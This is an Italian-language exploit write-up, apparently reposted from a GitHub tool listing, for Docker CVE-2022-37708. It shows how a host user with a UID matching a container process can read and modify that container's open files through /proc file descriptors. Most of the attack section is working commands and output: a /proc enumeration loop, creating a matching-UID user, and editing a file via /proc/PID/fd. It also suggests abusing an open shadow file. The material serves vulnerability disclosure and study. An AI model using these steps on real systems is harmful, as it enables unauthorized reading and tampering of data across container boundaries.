Sploitus

docker_lightman_exploit

kitploit · 2026-08-28

Exploit Code

MARKDOWN240 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEKEVINDAY-DOCKER_LIGHTMAN_EXPLOIT
# Docker Lightman Exploit

Docker CVE-2022-37708.

Questo exploit si basa su come il filesystem UNIX gestisce UID e GID sui file che Docker condivide tra l'Host che esegue Docker e il Client eseguito all'interno di Docker, e si basa anche sulla natura di come funziona la proprietĂ  degli ID di processo.

## Il problema in poche parole.

  * Docker mappa direttamente gli ID delle condivisioni all'interno del Client verso una directory privata (e protetta) sul "sistema host" (come /var/lib/docker/volumes).
  * L'attraversamento delle directory (directory traversal) per questo percorso è adeguatamente limitato e non è l'exploit in questione.
  * Questi file hanno gli UID e GID utilizzati all'interno del sistema ospitato in Docker (cioè il "sistema client"), indipendentemente dal fatto che il sistema host abbia o usi quegli UID/GID.
  * Se in qualsiasi momento un file viene aperto all'interno del "sistema client", quel descrittore di file diventa disponibile sul sistema Host (all'esterno del Client).
  * Il descrittore di file per quel file è di proprietà dell'UID utilizzato, anche se quell'UID non esiste sul sistema Host.
  * Se capita che un utente non-root/non privilegiato sul sistema Host abbia proprio quell'UID, quell'utente può leggere e scrivere il file senza avere accesso di attraversamento delle directory al file (o addirittura senza doverne conoscere la posizione).
  * Un utente del tutto legittimo può quindi fare PID dial (come il war dialing), cercando descrittori di file aperti per i file.



Questo può essere fatto in praticamente qualsiasi linguaggio che fornisca l'accesso ai descrittori di file. La directory /proc/ espone proprio questo, rendendo l'operazione molto semplice da eseguire con comandi shell.

## L'exploit

Si consideri un computer che fornisce un servizio di posta elettronica per più utenti. Questo servizio di posta elettronica viene eseguito all'interno di una distribuzione autonoma in esecuzione in Docker sull'host. La distribuzione autonoma è considerata il "sistema client". Il sistema su cui è in esecuzione Docker è considerato il "sistema host". Il "sistema host" esegue diversi servizi, come "DBUS" per fornire un message-bus. Per motivi di sicurezza, il message-bus "DBUS" viene eseguito come utente non privilegiato "messagebus" con UID 123. L'utente "messagebus" non ha accesso a Docker né al "sistema client". Per motivi di sicurezza, il "sistema client" esegue l'elaborazione della posta come utente non root "emailservice" con UID 123.

Notate come ho indicato che "messagebus" ha un UID di 123 e anche "emailservice" ha un UID 123. Normalmente questo non è un problema perché sono due sistemi separati (il "sistema client" e il "sistema host") e i loro UID e le relative mappature utente non hanno alcuna relazione tra loro.

Se in qualsiasi momento "emailservice" apre una e-mail casuale per elaborarla, "messagebus" avrebbe l'opportunità di vedere e modificare quel file. Poiché l'utente "messagebus" è completamente al di fuori del "sistema client", il "sistema client" non saprebbe mai che questo file potrebbe essere letto e scritto.

Questo può essere ancora più pericoloso se "emailservice" leggesse il file shadow di sistema per validare una combinazione di nome utente e password. "messagebus" avrebbe quindi pieno accesso in lettura e scrittura al file shadow all'interno del "sistema client" per tutto il tempo in cui quel file è aperto nel "sistema client".

## Esecuzione dell'exploit

Un modo semplice per eseguire l'exploit è fare PID dial nella directory `/proc/` cercando i file pid. Un semplice script bash in un ciclo infinito può cercare periodicamente i file aperti.

root@kitploit:~
    
    
    for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
    

## Ambito dell'exploit

Ci sono due aspetti critici dell'exploit che lo rendono difficile da sfruttare.

  1. Tempo. L'exploit è applicabile solo per il periodo in cui un file è aperto all'interno del "sistema client".
  2. Fortuna. L'exploit richiede che l'UID con cui un file viene aperto nel "sistema client" corrisponda all'UID dell'utente sul "sistema host".



Per il primo caso, un ciclo infinito e un po' di magia con gli script possono ovviare al problema. Per il secondo caso, una distribuzione appositamente creata o una distribuzione ben nota possono eliminare la componente fortuna. Se un sistema ha UID predefiniti, dovrebbe essere possibile prevedere quale UID è necessario al di fuori del "sistema client".

## Esempio di esecuzione dell'exploit

Utilizzando una macchina virtuale Vagrant Debian-10 (Buster) come "sistema host" per testare l'exploit:

root@kitploit:~
    
    
    Vagrant.configure("2") do |config|
      config.vm.box = "generic/debian10"
    
      config.vm.provider "virtualbox" do |vb|
        vb.memory = 4096
        vb.cpus = 2
        vb.name = "Wargames"
      end
    
      config.vm.synced_folder "/tmp/files", "/host"
    end
    

All'interno del "sistema host", ottenere l'ultima versione di Docker e seguire le istruzioni qui:

  * https://docs.docker.com/engine/install/debian/



Il "sistema client" di esempio è un prodotto open-source ospitato su Github chiamato DSpace che fornisce un file docker-compose:

  * repository: https://github.com/DSpace/DSpace
  * commit hash: a235551fabbb7e0b34b877e73704e8941a510cae



Ora clona DSpace ed esegui docker compose:

root@kitploit:~
    
    
    # git clone https://github.com/DSpace/DSpace.git
    # cd DSpace
    # docker compose up
    

Questo progetto crea diverse immagini, ma concentriamoci su "dspace_solr_data".

Confermiamo che l'attraversamento delle directory è protetto:

root@kitploit:~
    
    
    # sudo ls -ld /var/lib/docker
    drwx--x--- 15 root root 4096 May  6 13:49 /var/lib/docker
    

Osserviamo il file che voglio sfruttare:

root@kitploit:~
    
    
    # sudo find /var/lib/docker/volumes/ -name solr.xml
    /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
    /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
    

root@kitploit:~
    
    
    # sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
    -rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
    -rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
    

Questo ci dice che il nostro utente fortunato deve avere un UID di 8983 per poter sfruttare la cosa.

Creiamo questo utente fortunato e chiamiamolo "Lightman".

root@kitploit:~
    
    
    # sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
    

Ora osserviamo quei file:

root@kitploit:~
    
    
    # sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
    -rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
    -rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
    

Affinché Lightman possa sfruttare questo, non basta che Lightman sia proprietario dei file: qualche processo **ALL'INTERNO** del "sistema client" deve avere il file aperto. Ai fini della dimostrazione di questo exploit, useremo `tail -F` sul file `solr.xml` all'interno del "sistema client".

Esegui questa operazione in un terminale separato, accedendo al "sistema host" come utente vagrant.

Individua il contenitore corretto:

root@kitploit:~
    
    
    # docker ps -a
    CONTAINER ID   IMAGE                             COMMAND                  CREATED          STATUS                      PORTS                                            NAMES
    ...
    c4b06050ef46   solr:8.11-slim                    "/bin/bash -c 'init-…"   11 minutes ago   Up 11 minutes               0.0.0.0:8983->8983/tcp                           dspacesolr
    

Ora connettiti a `solr:8.11-slim`.

root@kitploit:~
    
    
    # docker run -it solr:8.11-slim bash
    # id
    uid=8983(solr) gid=8983(solr) groups=8983(solr)
    

L'utente solr ha effettivamente UID 8983.

Ora apri il file `solr.xml` e tienilo aperto.

root@kitploit:~
    
    
    # tail -F /var/solr/data/solr.xml
    

Perfetto, è tutto pronto affinché l'utente Lightman possa fare war dialing alla ricerca dei descrittori di file.

In un terminale separato, con accesso al "sistema host" come utente vagrant, passa all'utente Lightman.

root@kitploit:~
    
    
    # sudo su - Lightman
    # id
    uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
    

Usa `/proc` per effettuare il dial di tutti i descrittori di file aperti:

root@kitploit:~
    
    
    # ls /proc/*/fd/* -ld
    lrwx------ 1 Lightman Lightman 64 May  6 14:17 /proc/12622/fd/0 -> /dev/pts/0
    lrwx------ 1 Lightman Lightman 64 May  6 14:17 /proc/12622/fd/1 -> /dev/pts/0
    lrwx------ 1 Lightman Lightman 64 May  6 14:17 /proc/12622/fd/2 -> /dev/pts/0
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12622/fd/255 -> /dev/pts/0
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/0 -> /dev/pts/0
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/1 -> /dev/pts/0
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/2 -> /dev/pts/0
    lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
    lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/0 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/1 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/10 -> /dev/tty
    lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/2 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/self/fd/0 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/self/fd/1 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/self/fd/2 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
    lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
    

Come puoi vedere, abbiamo due corrispondenze:

root@kitploit:~
    
    
    lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
    lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
    

Nota che il percorso `/var/solr/data/solr.xml` in realtĂ  non esiste sul "sistema host".

Presta molta attenzione al terminale su cui stai eseguendo `tail -F` mentre fai questo. Modifica il file aprendolo direttamente tramite il percorso proc:

root@kitploit:~
    
    
    # vim /proc/12683/fd/3
    

Vado in fondo al file, scrivo `Hello World` e salvo la modifica. Dovresti vedere che, all'interno del "sistema client", anche il file viene aggiornato.

Lightman ha modificato con successo un file su cui non ha alcun accesso in lettura/scrittura legittimo né alcun accesso di attraversamento delle directory. Il file si trova in realtà all'interno di un client Docker in esecuzione su una distribuzione diversa che non ha un utente "Lightman".